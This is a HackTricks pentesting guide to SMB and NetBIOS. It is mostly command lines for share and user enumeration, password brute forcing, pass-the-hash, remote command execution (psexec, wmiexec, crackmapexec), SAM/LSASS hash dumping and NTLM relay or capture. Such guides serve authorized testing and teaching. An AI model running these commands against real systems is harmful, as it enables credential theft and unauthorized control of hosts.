139,445 - Pentesting SMB | HackTricks (2024)

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Port 139

The Network Basic Input Output System (NetBIOS) is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and facilitate the transmission of data across the network. The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing TCP Port 139.

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

Port 445

Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym SMB stands for ‘Server Message Blocks’, which is also modernly known as the Common Internet File System (CIFS). As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.

For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

The Server Message Block (SMB) protocol, operating in a client-server model, is designed for regulating access to files, directories, and other network resources like printers and routers. Primarily utilized within the Windows operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the Samba project offers a free software solution, enabling SMB's implementation on Linux and Unix systems, thereby facilitating cross-platform communication through SMB.

Shares, representing arbitrary parts of the local file system, can be provided by an SMB server, making the hierarchy visible to a client partly independent from the server's actual structure. The Access Control Lists (ACLs), which define access rights, allow for fine-grained control over user permissions, including attributes like execute, read, and full access. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.

Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility enum4linux is useful for this purpose. Utilized properly, it enables the acquisition of:

Information on the operating system
Details on the parent domain
A compilation of local users and groups
Information on available SMB shares
The effective system security policy

This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. enum4linux provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.

enum4linux -a target_ip

The above command is an example of how enum4linux might be used to perform a full enumeration against a target specified by target_ip.

What is NTLM

If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about NTLM where is explained how this protocol works and how you can take advantage of it:

pageNTLM

Server Enumeration

Scan a network searching for hosts:

nbtscan -r 192.168.0.1/24

SMB server version

To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:

Use the MSF auxiliary module _auxiliary/scanner/smb/smb_version
Or this script:

#!/bin/sh#Author: rewardone#Description:# Requires root or enough permissions to use tcpdump# Will listen for the first 7 packets of a null login# and grab the SMB Version#Notes:# Will sometimes not capture or will print multiple# lines. May need to run a second time for success.if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fiif [ ! -z $2 ]; then rport=$2; else rport=139; fitcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/nullecho "" && sleep .1

Search exploit

msf> search type:exploit platform:windows target:2008 smbsearchsploit microsoft smb

Possible Credentials

Username(s)	Common passwords
(blank)	(blank)
guest	(blank)
Administrator, admin	(blank), password, administrator, admin
arcserve	arcserve, backup
tivoli, tmersrvd	tivoli, tmersrvd, admin
backupexec, backup	backupexec, backup, arcada
test, lab, demo	password, test, lab, demo

Brute Force

SMB Brute Force

SMB Environment Information

Obtain Information

#Dump interesting informationenum4linux -a [-u "<username>" -p "<passwd>"] <IP>enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>nmap --script "safe or smb-enum-*" -p 445 <IP>#Connect to the rpcrpcclient -U "" -N <IP> #No credsrpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hashrpcclient -U "username%passwd" <IP> #With creds#You can use querydispinfo and enumdomusers to query user information#Dump user information/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>#Map possible RPC endpoints/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumerate Users, Groups & Logged On Users

This info should already being gathered from enum4linux and enum4linux-ng

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "rpcclient -U "" -N 10.10.10.10enumdomusersenumdomgroups

Enumerate local users

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumerate local users

use auxiliary/scanner/smb/smb_lookupsidset rhosts hostname.localrun

Enumerating LSARPC and SAMR rpcclient

pagerpcclient enumeration

GUI connection from linux

In the terminal:

xdg-open smb://cascade.htb/

In file browser window (nautilus, thunar, etc)

smb://friendzone.htb/general/

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

smbclient --no-pass -L //<IP> # Null usersmbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hashsmbmap -H <IP> [-P <PORT>] #Null usersmbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Credssmbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hashsmbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive listcrackmapexec smb <IP> -u '' -p '' --shares #Null usercrackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest usercrackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

#Connect using smbclientsmbclient --no-pass //<IP>/<Folder>smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash#Use --no-pass -c 'recurse;ls' to list recursively with smbclient#List with smbmap, without folder it list everythingsmbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive listsmbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive listsmbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows sharesmbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

or this script (using a null session)

#/bin/baship='<TARGET-IP-HERE>'shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')  if [[ -z $output ]]; then  echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fidone

examples

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAMEsmbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

PowerShell

# Retrieves the SMB shares on the locale computer.Get-SmbShareGet-WmiObject -Class Win32_Share# Retrieves the SMB shares on a remote computer.get-smbshare -CimSession "<computer name or session object>"# Retrieves the connections established from the local SMB client to the SMB servers.Get-SmbConnection

CMD console

# List shares on the local computernet share# List shares on a remote computer (including hidden ones)net view \\<ip> /all

MMC Snap-in (graphical)

# Shared Folders: Shared Folders > Sharesfsmgmt.msc# Computer Management: Computer Management > System Tools > Shared Folders > Sharescompmgmt.msc

explorer.exe (graphical), enter \\<ip>\ to see the available non-hidden shares.

mount -t cifs //x.x.x.x/share /mnt/sharemount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Download files

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

#Search a file and downloadsudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap

#Download allsmbclient //<IP>/<share>> mask ""> recurse> prompt> mget *#Download everything to current directory

Commands:

mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
recurse: toggles recursion on (default: off)
prompt: toggles prompting for filenames off (default: on)
mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

Snaffler****

Snaffler.exe -s -d domain.local -o snaffler.log -v data

CrackMapExec spider.
- -M spider_plus [--share <share_name>]
- --pattern txt

sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.You should check the scripts inside of it as you might find sensitive info such as passwords.

Read Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -ssudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -ssudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting	Description
`browseable = yes`	Allow listing available shares in the current share?
`read only = no`	Forbid the creation and modification of files?
`writable = yes`	Allow users to create and modify files?
`guest ok = yes`	Allow connecting to the service without using a password?
`enable privileges = yes`	Honor privileges assigned to specific SID?
`create mask = 0777`	What permissions must be assigned to the newly created files?
`directory mask = 0777`	What permissions must be assigned to the newly created directories?
`logon script = script.sh`	What script needs to be executed on the user's login?
`magic script = script.sh`	Which script should be executed when the script gets closed?
`magic output = script.out`	Where the output of the magic script needs to be stored?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$rpcclient -k ws01win10.domain.com

Execute Commands

crackmapexec

crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:

apt-get install crackmapexeccrackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershellcrackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmdcrackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAMcrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashescrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on userscrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the diskscrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate userscrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groupscrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groupscrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policycrackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brutecrackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).More info about psexec and smbexec.In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted./psexec.py [[domain/]username[:password]@]<targetName or address>./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hashpsexec \\192.168.122.66 -u Administrator -p 123456Wwpsexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Using parameter-k you can authenticate against kerberos instead of NTLM

#If no password is provided, it will be prompted./dcomexec.py [[domain/]username[:password]@]<targetName or address>./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).In kali it is located on /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket reference

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Bruteforce users credentials

This is not recommended, you could block an account if you exceed the maximum allowed tries

nmap --script smb-brute -p 445 <IP>ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.More information about this attack here.

SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

URLDownloadToFile
URLDownloadToCache
URLOpenStream
URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

SMBTrap using MitMf

NTLM Theft

Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an SMB relay attack.

See: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB #Protocol Abbreviation if there is one.Port_Number: 137,138,139 #Comma separated if there is more than one.Protocol_Description: Server Message Block #Protocol Abbreviation Spelled outEntry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smbEntry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP}Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'